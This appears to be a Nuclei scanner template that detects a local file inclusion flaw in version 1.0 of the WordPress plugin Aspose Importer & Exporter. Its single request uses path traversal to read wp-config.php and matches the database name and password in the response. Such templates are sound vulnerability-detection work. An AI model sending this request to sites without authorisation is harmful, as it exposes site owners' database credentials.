id: aspose-ie-file-download

info:
  name: WordPress Aspose Importer & Exporter 1.0 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: WordPress Aspose Importer & Exporter version 1.0 is vulnerable to local file inclusion.
  reference:
    - https://packetstormsecurity.com/files/131162/
    - https://wordpress.org/plugins/aspose-importer-exporter
  metadata:
    max-request: 1
  tags: aspose,packetstorm,wordpress,wp-plugin,lfi

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/aspose-importer-exporter/aspose_import_export_download?file=../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        part: body
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b618d4fd9ea45df21c563f25ad9287113c475c74187505d6c87aa46f75db6b65022100c487194dafe4c5dc48e50c6897adc983fdd9db9ed894412c3ecc8303ff202df7:922c64590222798bb761d5b6d8e72950